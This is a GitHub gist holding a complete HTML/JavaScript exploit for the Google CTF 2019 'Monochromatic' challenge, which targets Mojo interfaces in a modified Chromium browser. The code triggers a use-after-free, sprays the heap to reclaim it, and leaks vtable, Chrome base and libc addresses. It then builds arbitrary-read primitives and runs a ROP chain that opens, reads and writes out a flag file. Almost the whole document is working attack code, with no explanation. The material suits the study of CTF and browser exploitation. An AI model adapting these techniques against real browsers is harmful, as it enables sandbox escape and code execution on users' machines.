Skip to content

Instantly share code, notes, and snippets.

@ujin5
Created June 24, 2019 00:03
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save ujin5/175cc07544a831c597e318a7eac57503 to your computer and use it in GitHub Desktop.
Save ujin5/175cc07544a831c597e318a7eac57503 to your computer and use it in GitHub Desktop.
Google CTF Quals 2019 Monochromatic
<html>
<pre id='log'></pre>
<script src="mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src="being_creator_interface.mojom.js"></script>
<script src="food_interface.mojom.js"></script>
<script src="dog_interface.mojom.js"></script>
<script src="person_interface.mojom.js"></script>
<script src="cat_interface.mojom.js"></script>
<script>
function print(string) {
console.log(string)
var log = document.getElementById('log');
if (log) {
log.innerText += string + '\n';
}
}
function sleep(ms) {
var unixtime_ms = new Date().getTime();
while(new Date().getTime() < unixtime_ms + ms) {}
}
async function write(){
const sleep = m => new Promise(r => setTimeout(r, m));
let fengshui_result = [];
//await sleep(4000);
async function fengshui(){
for(var i = 0; i<0x100 ; i++){
fengshui_result[i] = await creator_ptr.createDog();
await fengshui_result[i].dog.setName("A".repeat(0x3f));
}
print("[+] fengshui ");
}
async function food0(){
for(var i = 0; i < 0x1000; i++){
cat_result[i] = await creator_ptr.createCat();
await cat_result[i].cat.setName(String.fromCharCode(i)+"K".repeat(0x37))
}
print("[+] Allocate Dogs");
}
function c_encode(s) {
var res = [];
var k = s;
for (var i = 0; i < k.byteLength; ++i) {
var c = k[i] & 0xff;
res.push('\\x' + ('0'+c.toString(16)).slice(-2));
}
return res.join('');
}
let heap = [];
let index = -1;
async function food1(){
print("[+] Get Cat Name")
for(var i = 0; i < 0x1000 && heap.length == 0; i++){
var leak = (await cat_result[i].cat.getName());
leak = leak.arr
for (var j = 0; j + 8 <= leak.byteLength; j += 8) {
if (leak[j+7] != 0x4b
&& leak[j+6] != 0x4b
&& leak[j+5] != 0x4b
&& leak[j+5] != 0x4b)
{
value = 0;
for (var k = j+5; k >= j; --k)
value = value*0x100 + leak[k];
heap.push(value);
}
}
index = i;
}
}
let cat_result = [];
let creator_ptr = new blink.mojom.BeingCreatorInterfacePtr();
Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name,
mojo.makeRequest(creator_ptr).handle);
function FoodImpl(){
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
}
FoodImpl.prototype = {
getWeight: async () =>{
print("[+] GetWeight");
//await fengshui();
await dog_result.dog.ptr.reset();
print("[!] Free CatInterfaceImpl");
await sleep(200);
await food0();
//food1();
return {'weight':0x40};
}
};
let food_interface = new FoodImpl();
let food_ptr = new blink.mojom.FoodInterfacePtr();
food_interface.binding.bind(mojo.makeRequest(food_ptr));
let dog_result = await creator_ptr.createDog();
dog_result.dog.cookAndEat(food_ptr);
await sleep(3000);
await food1();
await sleep(1000);
if( heap[2] == 0x38){
//alert("???");
function u2d(v) {
let lo = v&0xffffffff;
let hi = v/0x100000000;
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
let vtable = heap[0];
let string_ptr = heap[1];
let chromebase = vtable - 0x08FC1AE0;
print("[+] Sucecss!");
print(`[+] Index : ${index}`);
print(`[+] vtable : ${vtable.toString(16)}`);
print(`[+] strint_ptr : ${string_ptr.toString(16)}`);
print(`[+] chromebase : ${chromebase.toString(16)}`);
let u32 = new Uint32Array(0x2);
let f64 = new Float64Array(u32.buffer);
let spread64 = new Float64Array(0x4);
let spread8 = new Uint8Array(spread64.buffer);
function arb(ptr){
spread64[0] = u2d(vtable);
spread64[1] = u2d(ptr);
spread64[2] = u2d(0x40);
spread64[3] = u2d(0x8000000000000050);
let fake_object = String.fromCharCode(...spread8);
return fake_object
}
function call(ptr){
spread64[0] = u2d(ptr);
spread64[1] = u2d(0x4141414141414141);
spread64[2] = u2d(0x40);
spread64[3] = u2d(0x8000000000000050);
let fake_object = String.fromCharCode(...spread8);
return fake_object
}
await cat_result[index].cat.setName(arb(chromebase));
let target = 0;
for(var i = 0; i < 0x20; i++){
if( i == index ) continue;
let find = (await cat_result[i].cat.getName()).name;
if( find.indexOf("ELF") != -1){
target = i;
break;
}
}
print(`[+] target : ${target}`);
await cat_result[index].cat.setName(arb(chromebase+0x095285F0));
let r = (await cat_result[target].cat.getName()).arr;
let printf = 0;
for(var i = 7; i >= 0; i--){
printf = printf*0x100 + r[i];
}
print(`[+] printf : ${printf.toString(16)}`);
let libc = printf-0x0055800;
let bss = chromebase+ 0x95bc000
await cat_result[index].cat.setName(arb(bss+0x1000));
r = (await cat_result[target].cat.setName("flag"));
// 0x00000000037c7323 : mov rdi, qword ptr [r14] ; call qword ptr [rdi + 8]
// 0x0000000003530614 : mov rsi, r14 ; call qword ptr [rdi + 8]
// 0x0000000002ac61dc : lea rsp, [rsi + 0x30] ; popfq ; ret
// 0x00000000040f288e : xchg rax, rsp ; ret
// 0x0000000002cfca65 : add rsp, 0x18 ; ret
let open = chromebase + 0x08F7BED0;
let write = chromebase + 0x08F77DB0;
let read = chromebase + 0x08F77CA0;
let pop_rdi_ret = chromebase + 0x000000000280105c // pop rdi ; ret
let pop_rsi_ret = chromebase + 0x000000000280ea85 // pop rsi ; ret
let pop_rdx_ret = chromebase + 0x00000000028568db // pop rdx ; ret
let mov_edi_eax_ret = chromebase + 0x00000000084f77d5 // mov edi, eax ; ret
let fake_table64 = new Float64Array([
u2d(chromebase+0x0000000002cfca65),
u2d(0x41414141),
u2d(chromebase+0x00000000040f288e),
u2d(0xdeadbeef),
u2d(pop_rdi_ret), // <--- ROP Chain
u2d(bss + 0x1000),
u2d(pop_rsi_ret),
u2d(0x0),
u2d(open),
u2d(mov_edi_eax_ret),
u2d(pop_rsi_ret),
u2d(bss + 0x300),
u2d(pop_rdx_ret),
u2d(0x30),
u2d(read),
u2d(pop_rdi_ret),
u2d(0x1),
u2d(pop_rsi_ret),
u2d(bss + 0x300),
u2d(pop_rdx_ret),
u2d(0x100),
u2d(write)
]);
let fake_table8 = new Uint8Array(fake_table64.buffer)
let fake_table = String.fromCharCode(...fake_table8);
await cat_result[index].cat.setName(arb(bss));
r = (await cat_result[target].cat.setName(fake_table));
await cat_result[index].cat.setName(call(bss));
(await cat_result[target].cat.getName()).arr;
print("[+] BOOOOM");
}
else{
print("[+] Fail");
}
}
async function main(){
//await fengshui();
//await write();
await write();
}
main()
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment